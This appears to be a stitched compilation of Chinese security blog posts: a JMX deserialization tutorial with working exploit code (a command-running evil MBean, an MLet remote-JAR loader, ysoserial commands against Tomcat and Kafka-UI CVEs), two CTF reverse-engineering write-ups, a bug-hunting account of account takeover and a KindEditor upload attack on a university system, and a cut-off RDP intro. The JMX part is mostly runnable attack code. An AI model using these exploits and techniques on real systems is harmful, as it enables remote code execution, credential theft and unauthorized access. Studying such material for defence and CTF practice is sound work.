JMX 反序列化漏洞
前言
前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
JMX 基础
JMX 前置知识
JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。
standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践
以下代码实现简单的 JMX demo,文件结构
├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.java
HelloWorldMBean.java
package org.example;
public interface HelloWorldMBean {
public void sayhello();
public int add(int x, int y);
public String getName();
}
HelloWorld.java
package org.example;
public class HelloWorld implements HelloWorldMBean{
private String name = "Drunkbaby";
@Override
public void sayhello() {
System.out.println("hello world" + this.name);
}
@Override
public int add(int x, int y) {
return x + y;
}
@Override
public String getName() {
return this.name;
}
}
jmxDemo.java
package org.example;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class jmxDemo {
public static void main(String[] args) throws Exception{
MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
ObjectName mbsName = new ObjectName("test:type=HelloWorld");
HelloWorld mbean = new HelloWorld();
mBeanServer.registerMBean(mbean, mbsName);
// 创建一个 RMI Registry
Registry registry = LocateRegistry.createRegistry(1099);
// 构造 JMXServiceURL,绑定创建的 RMI
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// 构造JMXConnectorServer,关联 mbserver
JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready");
System.out.println("press any key to exit.");
System.in.read();
}
}
其中
Probe Level:创建了 HelloWorldMBean 实例 mbean
Agent Level:创建了 MBeanServer 实例 mbs
Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题
JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。
Mlet
Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:
启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
攻击者最终调用来自恶意 MBean 的方法
下面我们来编写一个漏洞实例。
Evil MBean
文件结构
├── Evil.java
└── EvilMBean.java
EvilMBean.java
package com.drunkbaby.mlet;
public interface EvilMBean {
public String runCommand(String cmd);
}
Evil.java
package com.drunkbaby.mlet;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
Mlet Server
将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
整体结构如图
Attack Code
ExploitJMXByRemoteMBean.java
package com.drunkbaby.mlet;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;
public class ExploitJMXByRemoteMBean {
public static void main(String[] args) {
try {
// connectAndOwn(args[0], args[1], args[2]);
connectAndOwn("localhost","1099","open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
try {
// step1. 通过rmi创建 jmx连接
JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
System.out.println("URL: " + u + ", connecting");
JMXConnector c = JMXConnectorFactory.connect(u);
System.out.println("Connected: " + c.getConnectionId());
MBeanServerConnection m = c.getMBeanServerConnection();
// step2. 加载特殊MBean:javax.management.loading.MLet
ObjectInstance evil_bean = null;
ObjectInstance evil = null;
try {
evil = m.createMBean("javax.management.loading.MLet", null);
} catch (javax.management.InstanceAlreadyExistsException e) {
evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
}
// step3:通过MLet加载远程恶意MBean
System.out.println("Loaded "+evil.getClassName());
Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
{ "http://localhost:4141/evil.html"},
new String[] { String.class.getName() } );
HashSet res_set = ((HashSet)res);
Iterator itr = res_set.iterator();
Object nextObject = itr.next();
if (nextObject instanceof Exception)
{
throw ((Exception)nextObject);
}
evil_bean = ((ObjectInstance)nextObject);
// step4: 执行恶意MBean
System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
System.out.println("Calling runCommand with: "+command);
Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
System.out.println("Result: "+result);
} catch (Exception e)
{
e.printStackTrace();
}
}
}
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
JMX 反序列化漏洞
在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735
漏洞描述
这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。
漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本
Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
try {
RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);
cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());
cs.start();
registry.bind("jmxrmi", server);
log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));
} catch (AlreadyBoundException | IOException var15) {
log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);
}
很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里其实也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean
这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
package ysoserial.exploit;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import ysoserial.payloads.ObjectPayload.Utils;
/*
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
*
*/
public class JMXInvokeMBean {
public static void main(String[] args) throws Exception {
if ( args.length < 4 ) {
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
System.exit(-1);
}
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// create the payload
Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
//close the connection
jmxConnector.close();
}
}
我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞
https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/漏洞描述
Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本
Kafka-UI <= 0.7.1
环境搭建
Kafka-UI 的 docker
version: '3.8'
services:
kafka-ui:
image: provectuslabs/kafka-ui:v0.7.1
container_name: kafka-ui
environment:
- DYNAMIC_CONFIG_ENABLED=true
- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
ports:
- "8080:8080"
- "5005:5005"
Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了
version: '2'
services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka
漏洞复现
使用 ysoserial 直接打,起一个恶意的 JMX 服务。
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
开启了之后,使用 Kafka-UI 去连接该 JMX
第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 CC 链打。
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"
攻击成功
漏洞分析
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法
后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。
【总结】逻辑运算在Z3中运用+CTF习题
国际赛IrisCTF在前几天举办,遇到了一道有意思的题目,特来总结。
题目
附件如下:https://www.yuque.com/attachments/yuque/0/2024/tar/33529154/1704561294084-9b9bc6bd-6da0-4178-9c3d-5b1bd9a98c0f.tar
解题过程
关键main函数分析如下:
int __fastcall main(int argc, const char **argv, const char
**envp)
{
int v4; // [rsp+4h] [rbp-7Ch]
int v5; // [rsp+4h] [rbp-7Ch]
int v6; // [rsp+8h] [rbp-78h]
int v7; // [rsp+Ch] [rbp-74h]
char input[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v9; // [rsp+78h] [rbp-8h]
v9 = __readfsqword(0x28u);
puts("Welcome to the Johnson's family!");
puts("You have gotten to know each person decently well, so let's see
if you remember all of the facts.");
puts("(Remember that each of the members like different things from
each other.)");
v4 = 0;
while ( v4 <= 3 ) // 在提供的颜色中,选择4种
{
printf("Please choose %s's favorite color: ", (&names)[v4]);//
4个人
__isoc99_scanf("%99s", input);
if ( !strcmp(input, colors) )
{
v6 = 1; // red
goto LABEL_11;
}
if ( !strcmp(input, s2) )
{
v6 = 2; // blue
goto LABEL_11;
}
if ( !strcmp(input, off_4050) )
{
v6 = 3; // green
goto LABEL_11;
}
if ( !strcmp(input, off_4058) )
{
v6 = 4; // yellow
LABEL_11:
if ( v6 == chosenColors[0] || v6 == dword_4094 || v6 ==
dword_4098 || v6 == dword_409C )// 选择4个颜色,然后顺序不能一样
puts("That option was already chosen!");
else
chosenColors[v4++] = v6; // 存储选择的颜色(已经转换成了数字)
}
else
{
puts("Invalid color!");
}
}
v5 = 0;
while ( v5 <= 3 )
{
printf("Please choose %s's favorite food: ", (&names)[v5]);//
4个人最喜欢的食物
__isoc99_scanf("%99s", input);
if ( !strcmp(input, foods) )
{
v7 = 1; // pizza
goto LABEL_28;
}
if ( !strcmp(input, off_4068) )
{
v7 = 2; // pasta
goto LABEL_28;
}
if ( !strcmp(input, off_4070) )
{
v7 = 3; // steak
goto LABEL_28;
}
if ( !strcmp(input, off_4078) )
{
v7 = 4; // chicken
LABEL_28:
if ( v7 == chosenFoods[0] || v7 == dword_40A4 || v7 == dword_40A8
|| v7 == dword_40AC )
puts("That option was already chosen!");
else
chosenFoods[v5++] = v7;
}
else
{
puts("Invalid food!");
}
}
check(); // 开始check,检测我们输入的颜色和食物是否正确
return 0;
}
-----------------------------------------------------------------------
将check提取出来,我们方便分析
其实到这里已经可以得到结果了,国外的题目确实很讲究趣味性,用颜色和食物作为导向,引导一步一步分析
笔者使用静态分析的方法,一步一步跟踪
C++
int check()
{
bool v0; // dl
_BOOL4 v1; // eax
_BOOL4 v2; // edx
v0 = dword_40A8 != 2 && dword_40AC != 2;
v1 = v0 && dword_4094 != 1;
v2 = chosenColors[0] != 3 && dword_4094 != 3;
if ( !v2 || !v1 || chosenFoods[0] != 4 || dword_40AC == 3 ||
dword_4098 == 4 || dword_409C != 2 )
return puts("Incorrect.");
puts("Correct!");
return system("cat flag.txt"); // 执行cat flag的命令
}
-----------------------------------------------------------------------
对应的输入值地址如下:
我们将颜色color数组用x系列表示,将食物用food数组y系列表示
化简如下:
C++
v0 = y3 != 2 && y4 != 2;
v1 = v0 && x2 != 1;
v2 = x1 != 3 && x2 != 3;
if ( !v2 || !v1 || y1 != 4 || y4 == 3 || x3 == 4 || x4 != 2
)
{
//错误
}
else
{
//成功
}
-----------------------------------------------------------------------
思路1:简单粗暴的爆破,但不是学习的目的,因此并不采用
思路2:锻炼写脚本能力,使用z3解题可以锻炼写脚本的能力,因此采用
Python
from z3 import *
# 创建变量
x1, x2, x3, x4 = Ints('x1 x2 x3 x4')
y1, y2, y3, y4 = Ints('y1 y2 y3 y4')
# 创建约束条件
v0 = And(y3 != 2, y4 != 2)
v1 = And(v0, x2 != 1)
v2 = And(x1 != 3, x2 != 3)
# 创建条件语句
cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)
cond1 = Not(cond)
#正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作
# 创建求解器
solver = Solver()
# 添加约束条件和条件语句到求解器
solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作
# 求解
if solver.check() == sat:
# 如果有解,则获取解
model = solver.model()
# 打印解
print("成功:")
print("x1 =", model[x1])
print("x2 =", model[x2])
print("x3 =", model[x3])
print("x4 =", model[x4])
print("y1 =", model[y1])
print("y2 =", model[y2])
print("y3 =", model[y3])
print("y4 =", model[y4])
else:
print("无解")
---------------------------------------------------------------------------------------
得到结果
Python
成功:
x1 = 4
x2 = 0
x3 = 5
x4 = 2
y1 = 4
y2 = None
y3 = 3
y4 = 0
-----------------------------------------------------------------------
其实有经验的师傅发现了,这是有多解的,因为没有为约束变量添加范围约束
改进之后的代码如下:
Python
from z3 import *
# 创建变量
x1, x2, x3, x4 = Ints('x1 x2 x3 x4')
y1, y2, y3, y4 = Ints('y1 y2 y3 y4')
# 创建约束条件
v0 = And(y3 != 2, y4 != 2)
v1 = And(v0, x2 != 1)
v2 = And(x1 != 3, x2 != 3)
range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4
>= 1, x4 <= 4,
y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)
# 创建条件语句
cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)
cond1 = Not(cond)
#正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作
# 创建求解器
solver = Solver()
# 添加约束条件和条件语句到求解器
solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作
solver.add(range_constraint)
# 求解
if solver.check() == sat:
# 如果有解,则获取解
model = solver.model()
# 打印解
print("成功:")
print("x1 =", model[x1])
print("x2 =", model[x2])
print("x3 =", model[x3])
print("x4 =", model[x4])
print("y1 =", model[y1])
print("y2 =", model[y2])
print("y3 =", model[y3])
print("y4 =", model[y4])
else:
print("无解")
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------
得到结果:
-----------------------------------------------------------------------
Python
成功:
x1 = 1
x2 = 4
x3 = 1
x4 = 2
y1 = 4
y2 = 1
y3 = 3
y4 = 4
-----------------------------------------------------------------------
发现x1和x3重复了,因此还要添加值不重复约束
Python
from z3 import *
# 创建变量
x1, x2, x3, x4 = Ints('x1 x2 x3 x4')
y1, y2, y3, y4 = Ints('y1 y2 y3 y4')
# 创建约束条件
v0 = And(y3 != 2, y4 != 2)
v1 = And(v0, x2 != 1)
v2 = And(x1 != 3, x2 != 3)
#值范围约束
range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4
>= 1, x4 <= 4,
y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)
#非重复值约束
distinct_x=Distinct(x1,x2,x3,x4)
distinct_y=Distinct(y1,y2,y3,y4)
# 创建条件语句
cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)
cond1 = Not(cond)
#正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作
# 创建求解器
solver = Solver()
# 添加约束条件和条件语句到求解器
solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作
solver.add(range_constraint)
solver.add(distinct_y)
solver.add(distinct_x)
# 求解
if solver.check() == sat:
# 如果有解,则获取解
model = solver.model()
# 打印解
print("成功:")
print("x1 =", model[x1])
print("x2 =", model[x2])
print("x3 =", model[x3])
print("x4 =", model[x4])
print("y1 =", model[y1])
print("y2 =", model[y2])
print("y3 =", model[y3])
print("y4 =", model[y4])
else:
print("无解")
---------------------------------------------------------------------------------------
最终得到正确的结果
Python 成功: x1 = 1 x2 = 4 x3 = 3 x4 = 2 y1 = 4 y2 = 2 y3 = 3
y4 = 1
x1-x4= 1 4 3 2
y1-y4= 4 2 3 1
按照这样的顺序输入即可:
得到了flag
irisctf{m0r3_th4n_0n3_l0g1c_puzzl3_h3r3}
总结
题目并不是很难,没有复杂的ollvm混淆也没有复杂的加密。但是却一步一步引导我们去学习和总结。z3解题的过程中,会有很多误解,然后经过自己的思考总结,发现了漏掉的东西,再进行补充,最终写出正确的脚本。
国外的题还是很值得学习的,不单单为了出题而出题。这就是逻辑运算在z3的运用以及如何增加约束,让z3求解出我们需要的key。
一道关于逆向的实战CTF题目分析
前言
本题自带call型花指令,考验选手对花指令的理解程度。加密属于基础的异或和左右移位加密。主要考察选手的基础能力,动态调试和写脚本的能力。在这篇文章,详细记录了我的分析过程,相信你会有很大收获。
1、查壳
PE64位,没壳程序
2、IDA分析去花指令
使用IDA打开时,发现一片红,很正常的CTF考点:花指令
sub_main
当务之急是如何去除花指令,继续向下分析,发现了一些端倪
花指令的形成是干扰编译器的分析,但又不会影响程序的正常运行。
那么显而易见,会将某个寄存器进行push(保存)然后对其进行复杂操作,最终pop(恢复)该寄存器的值,程序正常执行。
而在本程序中,可以发现该手法:
push ebx
.....
pop ebx
中间的过程均无需再看,直接NOP操作。
nop完记得保存修改。
接下来就可以分析main函数啦
而这两个函数恰好均为关键的函数。
sub_401040
此时,我们可以看到函数开头的位置存在多个push操作,不要急着nop。对照函数结束的部分,避免误杀友军。
可以看到pop和push是相互对应的,开头push,结束就要pop。
此时注意到:push、pop不是要nop的点,我们继续分析
熟悉混淆的朋友一定可以识别出这是一个call型混淆。
call一个地址,然后修改堆栈返回值,retn跳过混淆,相对之前的混淆需要对堆栈有一定的理解。
识别出来,进行nop即可
得到加密函数
int __cdecl sub_401040(char a1, int a2)
{
return ((a2 ^ a1) << 8) - a2;
}
sub_401080
来分析另一个函数
相同的操作
得到加密算法
int __cdecl sub_401080(char a1, int a2)
{
return a2 ^ (a1 << 8);
}
3、分析加密流程
那么现在的任务是获得加密函数的顺序,这里采用动态调试的方法来获得:
得到顺序
left
xor
xor
left
xor
left
left
xor
left
left
xor
xor
xor
left
left
left
xor
xor
xor
left
xor
xor
left
xor
left
left
left
left
xor
xor
xor
left
将left用1替代,xor用0替代,得到顺序:
int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };
密文可以看到是:
dword_402120 数组
unsigned int dword_402120[32] = {
0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,
0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,
0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,
0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08
};
4、写出解密算法
#include <stdio.h>
void left(unsigned int a1, unsigned int a2) {
// (a1>>8)^a2
printf("%c", ((a1 ^ a2)>>8 ));
}
void xors(unsigned int a1, unsigned int a2) {
//(((a1+a2)>>8)^a2)
printf("%c", (((a1 + a2) >> 8) ^ a2));
}
int main()
{
unsigned int dword_402120[32] = {
0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,
0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,
0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,
0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08
};
int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };
for (size_t i = 0; i < 32; i++)
{
if (temp[i]) {
//left
left(dword_402120[i], 8);
}
else {
//xor
xors(dword_402120[i], 40);
}
}
}
到此,恭喜你学会了分析一道CTF题目最基本的步骤。
双一流高校某教学系统存在多个高危漏洞
脆弱资产搜集
信息搜集过程中,除了用常见子域名扫一遍,还可以通过空间搜索引擎手动搜索。我用的就是把学校名称或者缩写作为关键字,利用语法:
web.body="关键字"&&web.body="系统"
web.body="关键字"&&web.body="登录"
web.title="关键字"&&web.body="管理"
web.title="关键字"&&web.body="后台"
等一系列语法进行挨个查看。
进行信息搜索(你得有一套自己的信息搜集逻辑吧,不然连这个系统都找不到)后,找到一处教学管理系统,点击页面上方软件,点击蓝色链接,进入教学系统
此处存在多个平台,但发现只有几个平台可以点击进入,先点击右上角的:国际结算
出现一个登录框,发现存在注册按钮,并且注册没有任何限制,直接注册账号进行登录(能进后台肯定先进后台测试,之后再测登录框漏洞)
后台敏感信息越权获取
进入后页面如下,挖洞需要首先观察功能点,将所有能点的都点一遍,将功能转化为接口,转化为数据包后,再进行测试。
经过观察,除了修改个人资料与修改密码,其它均为查看资料的地方,尝试sql注入,RCE,文件包含,目录遍历等漏洞均无成果,于是将目光转到这两处功能点。
点击修改个人资料,再点击保存,转到burpsuite查看数据包
发现此处展现了我的账户,密码等个人信息,且数据包body较为简单,于是将数据包转到repeater进行测试。将userId改为2018发包,发现返回其他用户信息。
经过尝试可以实现登录,再次将userId改为0001和0002直接展现管理员与超级管理员账号,并成功登录。(经过尝试,大概能获取两千左右的用户信息。)
未授权加越权
得到越权漏洞一个,但挖洞时注意数据包如果存在cookie等鉴权字段,就可以尝试删除,如果还能获取就可能存在未授权漏洞。
删除cookie后发包,再次成功获取数据,退出登录,过了半天后再次发送数据包,依旧成功获取数据,于是又将危害扩大,能够实现未授权状态对任意用户信息的获取。
继续查看先前的历史数据包,找到保存信息那一个数据包。将其发送到repeater模块进行分析。
接着先前思路删除cookie但修改个人信息失败。进一步分析数据包,发现两个可疑参数:head头的userId与body处的userId,经过尝试,将head头的userId修改可以实现越权修改他人信息,例如我将userId修改为2018再通过先前拿到的账户密码,发现他的信息已经被修改为了我的信息。
(经过尝试,以上漏洞通杀v1.v2.v3版本)
之后对修改密码处进行一套checklist无果......
编辑器文件上传利用
秉持着功能点多少决定攻击面大小的想法,我先登录进入了管理员账户。
在没有太多功能点的情况下,从分析js文件出发找功能点,有充足功能的情况下,就先将页面展现出来的功能点转化为接口测试,最后再分析js文件。
进入普通管理员后台,先将整个后台功能点进行总览,先不要着急去测功能点,把功能点先点一遍,再从数据包开始分析。
在数据包中发现Editor字段,加上此处存在试卷编辑功能点,于是猜测可能使用了编辑器,在js文件中搜索关键字:
直接找到kindeditor编辑器,此处直接想到可以尝试kindeditor的文件上传与目录遍历漏洞(多挖才会有思路)
注意此处涉及到接口拼接的一个问题,网上找的相关漏洞复现他们的路径并不是完全通用的,我们在做js拼接时也要注意,路径是否存在一个根路径,本例的根路径就是Content,如果你直接找网上的路径拼接到url处是不行的。
例如查看kindeditor版本的路径就应该是:
为4.1.10貌似存在漏洞,于是访问如下界面:
看到这个页面,根据我的经验估计稳了。于是按照步骤部署html上传页面,再将自己写另一个的xss的html通过自己的html页面进行上传,抓包得到返回路径,拼接后访问,成功弹窗,此漏洞可在未登录状态完成。(另一个目录遍历漏洞未能成功)
以下是kindeditor文件上传的html上传页面代码:(xss代码自己写)
<head>
<title>File Upload</title>
</head>
<body>
<form enctype="multipart/form-data"
action="http://******/Content/KindEditor/asp.net/upload_json.ashx?dir=file"
method="post">
<p>Upload a new file:</p>
<input type="file" name="imgFile" size="50"><br>
<input type="submit" value="Upload">
</form>
</body>
通过数据包还看到IIS版本为7.5尝试IIS解析漏洞与MS15-034(代码执行)无果。
Windows远程桌面的奇技淫巧
前言
Windows远程桌面简介
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者连上提供微软终端机服务的计算机(称为服务端或远程计算机)
远程桌面的前置条件
